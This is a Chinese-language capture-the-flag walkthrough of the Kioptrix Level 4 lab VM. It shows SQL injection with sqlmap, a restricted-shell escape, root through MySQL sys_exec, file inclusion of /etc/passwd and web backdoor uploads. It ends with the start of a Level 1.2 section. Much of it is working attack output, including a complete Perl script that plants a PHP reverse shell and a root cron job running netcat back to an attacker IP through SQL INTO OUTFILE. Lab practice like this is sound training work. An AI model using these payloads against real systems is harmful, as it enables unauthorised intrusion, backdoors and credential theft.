|___|_  [']_|_|_|__,|  _|                                                                            
      |_|V...       |_|   http://sqlmap.org                                                          

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:25:36 /2019-12-10/

[01:25:36] [INFO] parsing HTTP request from 'sqlmap.txt'
[01:25:36] [INFO] resuming back-end DBMS 'mysql' 
[01:25:36] [INFO] testing connection to the target URL
[01:25:36] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[01:25:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[01:25:36] [INFO] fetching columns for table 'members' in database 'members'
[01:25:36] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[01:25:36] [INFO] retrieved: 
sqlmap got a 302 redirect to 'http://192.168.84.139:80/login_success.php?username=admin'. Do you want to follow? [Y/n] n
3
[01:25:38] [INFO] retrieved: id
[01:25:38] [INFO] retrieved: username
[01:25:39] [INFO] retrieved: password
[01:25:39] [INFO] fetching entries for table 'members' in database 'members'
[01:25:39] [INFO] fetching number of entries for table 'members' in database 'members'
[01:25:39] [INFO] retrieved: 2
[01:25:39] [INFO] retrieved: 1
[01:25:39] [INFO] retrieved: MyNameIsJohn
[01:25:40] [INFO] retrieved: john
[01:25:40] [INFO] retrieved: 2
[01:25:40] [INFO] retrieved: ADGAdsafdfwt4gadfga==
[01:25:42] [INFO] retrieved: robert
Database: members
Table: members
[2 entries]
+----+-----------------------+----------+
| id | password              | username |
+----+-----------------------+----------+
| 1  | MyNameIsJohn          | john     |
| 2  | ADGAdsafdfwt4gadfga== | robert   |
+----+-----------------------+----------+

[01:25:42] [INFO] table 'members.members' dumped to CSV file '/root/.sqlmap/output/192.168.84.139/dump/members/members.csv'                                                                               
[01:25:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139'

[*] ending @ 01:25:42 /2019-12-10/
```

#### 获取root权限

ssh连接之后发现许多命令无法执行,但是可以执行echo命令

``` bash
root@kali:~# ssh john@192.168.84.139
The authenticity of host '192.168.84.139 (192.168.84.139)' can't be established.
RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.84.139' (RSA) to the list of known hosts.
john@192.168.84.139's password: 
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ ls
john:~$ pwd
*** unknown command: pwd
john:~$ whoami
*** unknown command: whoami
john:~$echo 'casdcasdc'                                                                             
casdcasdc
```

通过使用命令echo os.system('/bin/bash')轻松地“转义”并绕过有限制的shell。

``` bash
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ ls
john@Kioptrix4:~$ pwd
/home/john
john@Kioptrix4:~$ whoami
john
john@Kioptrix4:~$ 
```

使用命令行收集信息

``` bash
john@Kioptrix4:~$ cat /etc/*-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
john@Kioptrix4:~$ cat /proc/version
Linux version 2.6.24-24-server (buildd@palmer) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) #1 SMP Tue Jul 7 20:21:17 UTC 2009
john@Kioptrix4:~$ ps -ef | grep root
root         1     0  0 04:44 ?        00:00:01 /sbin/init
root         2     0  0 04:44 ?        00:00:00 [kthreadd]
root         3     2  0 04:44 ?        00:00:00 [migration/0]
root         4     2  0 04:44 ?        00:00:00 [ksoftirqd/0]
root         5     2  0 04:44 ?        00:00:00 [watchdog/0]
root         6     2  0 04:44 ?        00:00:00 [migration/1]
root         7     2  0 04:44 ?        00:00:00 [ksoftirqd/1]
root         8     2  0 04:44 ?        00:00:00 [watchdog/1]
root         9     2  0 04:44 ?        00:00:00 [migration/2]
root        10     2  0 04:44 ?        00:00:00 [ksoftirqd/2]
root        11     2  0 04:44 ?        00:00:00 [watchdog/2]
root        12     2  0 04:44 ?        00:00:00 [migration/3]
root        13     2  0 04:44 ?        00:00:00 [ksoftirqd/3]
root        14     2  0 04:44 ?        00:00:00 [watchdog/3]
root        15     2  0 04:44 ?        00:00:00 [events/0]
root        16     2  0 04:44 ?        00:00:00 [events/1]
root        17     2  0 04:44 ?        00:00:00 [events/2]
root        18     2  0 04:44 ?        00:00:00 [events/3]
root        19     2  0 04:44 ?        00:00:00 [khelper]
root        56     2  0 04:44 ?        00:00:00 [kblockd/0]
root        57     2  0 04:44 ?        00:00:00 [kblockd/1]
root        58     2  0 04:44 ?        00:00:00 [kblockd/2]
root        59     2  0 04:44 ?        00:00:00 [kblockd/3]
root        62     2  0 04:44 ?        00:00:00 [kacpid]
root        63     2  0 04:44 ?        00:00:00 [kacpi_notify]
root       193     2  0 04:44 ?        00:00:00 [kseriod]
root       247     2  0 04:44 ?        00:00:00 [pdflush]
root       248     2  0 04:44 ?        00:00:00 [pdflush]
root       249     2  0 04:44 ?        00:00:00 [kswapd0]
root       291     2  0 04:44 ?        00:00:00 [aio/0]
root       292     2  0 04:44 ?        00:00:00 [aio/1]
root       293     2  0 04:44 ?        00:00:00 [aio/2]
root       294     2  0 04:44 ?        00:00:00 [aio/3]
root      1627     2  0 04:44 ?        00:00:00 [ata/0]
root      1629     2  0 04:44 ?        00:00:00 [ata/1]
root      1630     2  0 04:44 ?        00:00:00 [ata/2]
root      1631     2  0 04:44 ?        00:00:00 [ata/3]
root      1632     2  0 04:44 ?        00:00:00 [ata_aux]
root      1800     2  0 04:44 ?        00:00:00 [ksuspend_usbd]
root      1806     2  0 04:44 ?        00:00:00 [khubd]
root      2474     2  0 04:44 ?        00:00:00 [scsi_eh_0]
root      2486     2  0 04:44 ?        00:00:00 [scsi_eh_1]
root      2489     2  0 04:44 ?        00:00:00 [scsi_eh_2]
root      2579     2  0 04:44 ?        00:00:00 [scsi_eh_3]
root      2580     2  0 04:44 ?        00:00:00 [scsi_eh_4]
root      2581     2  0 04:44 ?        00:00:00 [scsi_eh_5]
root      2582     2  0 04:44 ?        00:00:00 [scsi_eh_6]
root      2583     2  0 04:44 ?        00:00:00 [scsi_eh_7]
root      2584     2  0 04:44 ?        00:00:00 [scsi_eh_8]
root      2585     2  0 04:44 ?        00:00:00 [scsi_eh_9]
root      2586     2  0 04:44 ?        00:00:00 [scsi_eh_10]
root      2587     2  0 04:44 ?        00:00:00 [scsi_eh_11]
root      2588     2  0 04:44 ?        00:00:00 [scsi_eh_12]
root      2589     2  0 04:44 ?        00:00:00 [scsi_eh_13]
root      2590     2  0 04:44 ?        00:00:00 [scsi_eh_14]
root      2591     2  0 04:44 ?        00:00:00 [scsi_eh_15]
root      2592     2  0 04:44 ?        00:00:00 [scsi_eh_16]
root      2593     2  0 04:44 ?        00:00:00 [scsi_eh_17]
root      2594     2  0 04:44 ?        00:00:00 [scsi_eh_18]
root      2595     2  0 04:44 ?        00:00:00 [scsi_eh_19]
root      2596     2  0 04:44 ?        00:00:00 [scsi_eh_20]
root      2597     2  0 04:44 ?        00:00:00 [scsi_eh_21]
root      2598     2  0 04:44 ?        00:00:00 [scsi_eh_22]
root      2599     2  0 04:44 ?        00:00:00 [scsi_eh_23]
root      2600     2  0 04:44 ?        00:00:00 [scsi_eh_24]
root      2601     2  0 04:44 ?        00:00:00 [scsi_eh_25]
root      2602     2  0 04:44 ?        00:00:00 [scsi_eh_26]
root      2603     2  0 04:44 ?        00:00:00 [scsi_eh_27]
root      2604     2  0 04:44 ?        00:00:00 [scsi_eh_28]
root      2605     2  0 04:44 ?        00:00:00 [scsi_eh_29]
root      2606     2  0 04:44 ?        00:00:00 [scsi_eh_30]
root      2607     2  0 04:44 ?        00:00:00 [scsi_eh_31]
root      2608     2  0 04:44 ?        00:00:00 [scsi_eh_32]
root      2849     2  0 04:44 ?        00:00:00 [kjournald]
root      3028     1  0 04:45 ?        00:00:00 /sbin/udevd --daemon
root      3701     2  0 04:45 ?        00:00:00 [kpsmoused]
root      3800     2  0 04:45 ?        00:00:00 [btaddconn]
root      3801     2  0 04:45 ?        00:00:00 [btdelconn]
root      4838     1  0 04:45 tty4     00:00:00 /sbin/getty 38400 tty4
root      4839     1  0 04:45 tty5     00:00:00 /sbin/getty 38400 tty5
root      4841     1  0 04:45 tty2     00:00:00 /sbin/getty 38400 tty2
root      4842     1  0 04:45 tty3     00:00:00 /sbin/getty 38400 tty3
root      4845     1  0 04:45 tty6     00:00:00 /sbin/getty 38400 tty6
root      4906     1  0 04:45 ?        00:00:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
root      4927     1  0 04:45 ?        00:00:00 /usr/sbin/sshd
root      4983     1  0 04:45 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
root      5025  4983  0 04:45 ?        00:00:04 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/my
root      5026  4983  0 04:45 ?        00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root      5120     1  0 04:45 ?        00:00:00 /usr/sbin/nmbd -D
root      5122     1  0 04:45 ?        00:00:00 /usr/sbin/smbd -D
root      5136  5122  0 04:45 ?        00:00:00 /usr/sbin/smbd -D
root      5137     1  0 04:45 ?        00:00:00 /usr/sbin/winbindd
root      5149  5137  0 04:45 ?        00:00:00 /usr/sbin/winbindd
root      5169     1  0 04:45 ?        00:00:00 /usr/sbin/cron
root      5191     1  0 04:45 ?        00:00:00 /usr/sbin/apache2 -k start
root      5247     1  0 04:45 tty1     00:00:00 /sbin/getty 38400 tty1
root      5277  5137  0 04:57 ?        00:00:00 /usr/sbin/winbindd
root      5280  5137  0 04:57 ?        00:00:00 /usr/sbin/winbindd
root      5880  4927  0 09:23 ?        00:00:00 sshd: john [priv]
john      5928  5897  0 09:35 pts/0    00:00:00 grep root
```

可以看到MySQL以root权限运行。 由于具有对计算机的ssh访问权限，因此可以通过访问配置文件来查看是否能找到数据库凭据。

``` bash

john@Kioptrix4:/var/www$ ls
checklogin.php  index.php          logout.php  tmpbbmjx.php  tmpbtzfy.php  tmpuijdt.php
database.sql    john               member.php  tmpbdorc.php  tmpubjrn.php  tmpureio.php
images          login_success.php  robert      tmpbstyp.php  tmpuepxr.php  tmpuyhae.php

john@Kioptrix4:/var/www$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
//$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
//$mypassword = mysql_real_escape_string($mypassword);

//$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");
//$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count!=0){
// Register $myusername, $mypassword and redirect to file "login_success.php"
        session_register("myusername");
        session_register("mypassword");
        header("location:login_success.php?username=$myusername");
}
else {
echo "Wrong Username or Password";
print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>');
}

ob_end_flush();
?>
```

不需要密码即可访问数据库。 由于我们MySQL的root访问权限，因此可以使用用户定义的函数执行命令（在操作系统本身上）。 因为可以以root用户身份访问MySQL服务器，所以我们将使用用户定义函数将特权升级为root用户。 为了执行这些命令，我们需要确保lib_mysqludf_sys.so在服务器上。 使用whereis命令，我发现它已经安装在服务器上。

``` bash
john@Kioptrix4:/var/www$ whereis lib_mysqludf_sys.so
lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
```

``` bash
root@kali:~# ssh john@192.168.84.139
john@192.168.84.139's password: 
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ ls
john@Kioptrix4:~$ mysql -h localhost -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 6760
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select sys_exec('usermod -a -G admin john');
+--------------------------------------+
| sys_exec('usermod -a -G admin john') |
+--------------------------------------+
| NULL                                 | 
+--------------------------------------+
1 row in set (0.00 sec)

mysql> exit;                                       
Bye
john@Kioptrix4:~$ sudo su
root@Kioptrix4:/home/john# MyNameIsJohn
bash: MyNameIsJohn: command not found
root@Kioptrix4:/home/john# whoami
root
root@Kioptrix4:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix4:/home/john#
root@Kioptrix4:~# cat congrats.txt
Congratulations!
You've got root.

There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.

It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.

If you haven't already, check out the other VMs available on:
www.kioptrix.com

Thanks for playing,
loneferret
```

使用sys_exec，可以运行将john添加到admin组的usermod，然后运行sudo su以获得root权限的shell,至此渗透靶机的目标已经完成。

#### 其它方法

由于受sock_sendpage（）NULL指针取消引用攻击，还能使用内核提权脚本进行提权，具体方法自行google，常规操作就不在此赘述.

 - 文件包含

``` bash
(请求包)

GET /member.php?username=/etc/etc/passwd%00 HTTP/1.1

Host: 192.168.84.139

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=b5a332dd49e1d5192ffb8915fa3e7f84

Upgrade-Insecure-Requests: 1

(响应包)

HTTP/1.1 302 Found

Date: Tue, 10 Dec 2019 16:39:07 GMT

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch

X-Powered-By: PHP/5.2.4-2ubuntu5.6

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

location: index.php

Content-Length: 1146

Connection: close

Content-Type: text/html



root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:1000:loneferret,,,:/home/loneferret:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/kshell
robert:x:1002:1002:,,,:/home/robert:/bin/kshell
```

 - sqlmap的os-shell功能

``` bash
(判断是否具有dba权限)
root@kali:~# sqlmap -r sqlmap.txt --is-dba
        ___
       __H__                                                                                         
 ___ ___[)]_____ ___ ___  {1.3.11#stable}                                                            
|_ -| . [,]     | .'| . |                                                                            
|___|_  [']_|_|_|__,|  _|                                                                            
      |_|V...       |_|   http://sqlmap.org                                                          

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:12:43 /2019-12-10/

[04:12:43] [INFO] parsing HTTP request from 'sqlmap.txt'
[04:12:43] [INFO] resuming back-end DBMS 'mysql' 
[04:12:43] [INFO] testing connection to the target URL
[04:12:43] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[04:12:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[04:12:43] [INFO] testing if current user is DBA
[04:12:43] [INFO] fetching current user
[04:12:43] [INFO] resumed: root@localhost
current user is DBA: True
[04:12:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139'

[*] ending @ 04:12:43 /2019-12-10/

(如果有，如下所示getshell)
root@kali:~# sqlmap -r sqlmap.txt --os-shell
        ___
       __H__                                                                                         
 ___ ___[.]_____ ___ ___  {1.3.11#stable}                                                            
|_ -| . [.]     | .'| . |                                                                            
|___|_  ["]_|_|_|__,|  _|                                                                            
      |_|V...       |_|   http://sqlmap.org                                                          

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:10:50 /2019-12-10/

[04:10:50] [INFO] parsing HTTP request from 'sqlmap.txt'
[04:10:50] [INFO] resuming back-end DBMS 'mysql' 
[04:10:50] [INFO] testing connection to the target URL
[04:10:50] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[04:10:50] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[04:10:50] [INFO] going to use a web backdoor for command prompt
[04:10:50] [INFO] fingerprinting the back-end DBMS operating system
[04:10:50] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
[04:10:51] [INFO] retrieved the web server document root: '/var/www'
[04:10:51] [INFO] retrieved web server absolute paths: '/var/www/checklogin.php'
[04:10:51] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[04:10:51] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://192.168.84.139:80/tmpuhuus.php
[04:10:51] [WARNING] unable to upload the file through the web file stager to '/var/www/'
[04:10:51] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the user running the web server process has not write privileges over the folder where the user running the DBMS process was able to upload the file stager or because the DBMS and web server sit on different servers
[04:10:53] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://192.168.84.139:80/tmpbhqem.php
[04:10:53] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] command standard output:
---
checklogin.php
database.sql
images
index.php
john
login_success.php
logout.php
member.php
robert
tmpbbmjx.php
tmpbdorc.php
tmpbhqem.php
tmpbstyp.php
tmpbtzfy.php
tmpubjrn.php
tmpuepxr.php
tmpuhuus.php
tmpuijdt.php
tmpureio.php
tmpuyhae.php
---
os-shell> 
```

sqlmap自带的文件上传payload

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub36.jpg)

如果传不了，直接用下列命令写马

``` bash
root@kali:~# sqlmap -r sqlmap.txt --file-write /root/shells/php/bullfuck.php --file-dest /var/www/bullshit.php        ___
       __H__                                                                                                                                                    
 ___ ___[(]_____ ___ ___  {1.3.11#stable}                                                                                                                                         
|_ -| . [']     | .'| . |                                                                                                                                                                 
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                  
      |_|V...       |_|   http://sqlmap.org                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:42:12 /2019-12-10/

[04:42:12] [INFO] parsing HTTP request from 'sqlmap.txt'
[04:42:12] [INFO] resuming back-end DBMS 'mysql' 
[04:42:12] [INFO] testing connection to the target URL
[04:42:12] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[04:42:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[04:42:12] [INFO] fingerprinting the back-end DBMS operating system
[04:42:12] [INFO] the back-end DBMS operating system is Linux
[04:42:12] [WARNING] expect junk characters inside the file as a leftover from original query
[04:42:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrievalDBMS file system ('/var/www/bullshit.php')? [Y/n] 
[04:42:14] [INFO] retrieved: 
sqlmap got a 302 redirect to 'http://192.168.84.139:80/login_success.php?username=admin'. Do you want to follow? [Y/n] n
0
[04:42:17] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[04:42:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139'

[*] ending @ 04:42:17 /2019-12-10/

(成功写入)

do you want to retrieve the command standard output? [Y/n/a] command standard output:                                                                                                      
---                                                                                                                                                                                        
checklogin.php                                                                                                                                                                             
database.sql                                                                                                                                                                               
images
index.php
john
login_success.php
logout.php
member.php
robert
tmpbokko.php
tmpuvljz.php
---
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] command standard output:
---
bullshit.php
checklogin.php
database.sql
images
index.php
john
login_success.php
logout.php
member.php
robert
tmpbokko.php
tmpuvljz.php
---
os-shell>

```

下面再附上希腊某位大佬的傻瓜式通关脚本;)

``` bash
use LWP::UserAgent;
 
# ----------------------------------------------------------------------
# Coded by mr.pr0n - https://ghostinthelab.wordpress.com - (@_pr0n_)
# ----------------------------------------------------------------------
 
print "------------------------------------\n";
print " Kioptrix Level 4 - Run2Shell Script\n";
print "------------------------------------\n";
 
print "\nEnter the IP address of the Kioptrix box (e.g.: http://192.168.178.21)";
print "\n> ";
$target=<STDIN>;
chomp($target);
$target = "http://".$target if ($target !~ /^http:/);
 
print "\nEnter the IP address for the reverse connection (e.g.: 192.168.178.27)";
print "\n> ";
$ip=<STDIN>;
chomp($ip);
 
print "\nEnter the port to connect back on (e.g.: 4444)";
print "\n> ";
$port=<STDIN>;
chomp($port);
 
menu:;
print "\n[+] Main Menu:\n";
print "    1. Limited Shell\n";
print "    2. Root Shell.\n";
print "    3. Exit.\n"    ;
 
print "> ";
$option=<STDIN>;
if ($option!=1 && $option!=2 && $option!=3)
{
print "Oups, wrong option.\nPlease, try again.\n";
goto menu;
}
 
if ($option==1)
{&limit}
if ($option==2)
{&root}
if ($option==3)
{&quit}
 
sub limit
{
 
    $payload =
    "<?php ".
    "system('/bin/bash -i > /dev/tcp/$ip/$port 0<&1 2>&1');".
    "?>";
 
    #Encode the payload to Hex.
    $payload =~ s/(.)/sprintf("%x",ord($1))/eg;
    $payload ="0x"."$payload";
 
    $filename = "t3hpWn.php";
    $dir = "/var/www/";
 
    $nc= "nc -lvp $port";
    print "\n[+] Wait for reverse connection on port $port...\n";
    system("xterm -e $nc &");
 
    print "[+] Uploading the backdoor to server... \n";
    $junk="''";
 
    $username = "admin";
    $password = "' OR 1=1 UNION SELECT $payload,$junk,$junk INTO OUTFILE '".$dir.$filename."' #";
 
    $ua = LWP::UserAgent->new or die;
    $req = HTTP::Request->new(POST => $target."/checklogin.php");
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("myusername=".$username."&mypassword=".$password."&Submit=Login");
    $res = $ua->request($req);
 
    sleep(10);
    $int = LWP::UserAgent->new() or die;
    $check=$int->get($target."/".$filename);
 
    if ($check->content =~ m/was not found/g)
    {
    print "[-] Failed to upload the backdoor!\n\n";
    }
    goto menu;
}
 
sub root
{
    # --------------------------------------------------------------
    # Thanks to g0tmi1k for this local privilege escalation trick.
    # --------------------------------------------------------------
 
    $payload ="* * * * * root /bin/nc.traditional $ip $port -e /bin/sh ";
 
    #Encode the payload to Hex.
    $payload =~ s/(.)/sprintf("%x",ord($1))/eg;
    $payload ="0x"."$payload";
 
    $filename = "g0tr00t";
    $dir = "/etc/cron.d/";
 
    $nc= "nc -lvp $port";
    print "\n[+] Wait for reverse connection on port $port...\n";
    system("xterm -e $nc &");
 
    print "[+] Uploading the backdoor to server... \n";
    $junk="''";
 
    $username = "admin";
    $password = "' AND 1=1 union select $payload,$junk,$junk INTO OUTFILE '".$dir.$filename."' #";
 
    $ua = LWP::UserAgent->new or die;
    $req = HTTP::Request->new(POST => $target."/checklogin.php");
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("myusername=".$username."&mypassword=".$password."&Submit=Login");
    $res = $ua->request($req);
 
    sleep(60);
    print "[+] Check the xterm window for the root shell... \n";
    goto menu;
}
 
sub quit
{
    exit(1);
}
```

<font color="red">***The end,to be continue...***</font>
<!-- kb:end Kioptrix4 -->

</details>

<a id="case-kvm3"></a>

## CMS 查询与管理配置

注入得到的数据库账户和后台管理能力连接 SSH 与系统配置；原文另外保留插件、phpMyAdmin 和上传入口。

<p class="kb-provenance">来源 KVM3 · 原记录 2019-12-13 · 14 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-kvm3">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start KVM3 -->

名称：Kioptrix: Level 1.2 (#3)
发行日期：2011年4月18日

下载：

 - Download: [http://www.kioptrix.com/dlvm/KVM3.rar](http://www.kioptrix.com/dlvm/KVM3.rar)
 - Download (Mirror): [https://download.vulnhub.com/kioptrix/KVM3.rar](https://download.vulnhub.com/kioptrix/KVM3.rar)
 - Download (Torrent): [https://download.vulnhub.com/kioptrix/KVM3.rar.torrent](https://download.vulnhub.com/kioptrix/KVM3.rar.torrent)

描述：

自上次Kioptrix VM挑战以来已经过去了一段时间。生活不断让您知道这些事情。
在看到最后两个的下载数量之后，以及无数的视频中展示了克服这些挑战的方法。我觉得需要1.2（或者只是3级）。感谢您下载并播放了前两个版本。还要感谢那些花时间为他们制作视频解决方案的人。不胜感激。
与其他两个一样，这一挑战也面向初学者。但是，这是不同的。增加了一些步骤，并且需要新的技能。我仍然必须成为初学者的领域。与其他方法一样，“pown”此方法的方法不止一种。很简单，而不是那么简单。记住……“轻松”或“困难”的感觉总是与自己的技能水平相关的。我从未说过这些事情异常困难或困难，但我们都需要从某个地方入手。让我告诉你，制作这些易受攻击的VM并不像看起来那么容易…
这个挑战很重要。一旦找到IP（DHCP客户端），请编辑主机文件并将其指向kioptrix3.com。
在Windows下，您可以编辑C：\Windows\System32\drivers\etc\hosts，如下所示：



``` bash
# localhost name resolution is handled within DNS itself.
#   127.0.0.1 localhost
#   ::1 localhost127.0.0.1 static3.cdn.ubi.com
192.168.1.102 kioptrix3.com
```
在Linux下，将是/etc/hosts
这里涉及一个网络应用程序，因此要使所有内容都很好并正确显示，您确实需要这样做。
希望您喜欢Kioptrix VM Level 1.2挑战。
Have fun

漏洞：

 - 文件包含
 - 访问控制不当
 - 重用凭证
 - SQL注入
 - 不受限制地上传危险类型的文件
 - 凭证不足

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.84.0/24
Nmap scan report for 192.168.84.144
Host is up (0.00023s latency).
MAC Address: 00:0C:29:44:36:85 (VMware)
```

``` bash
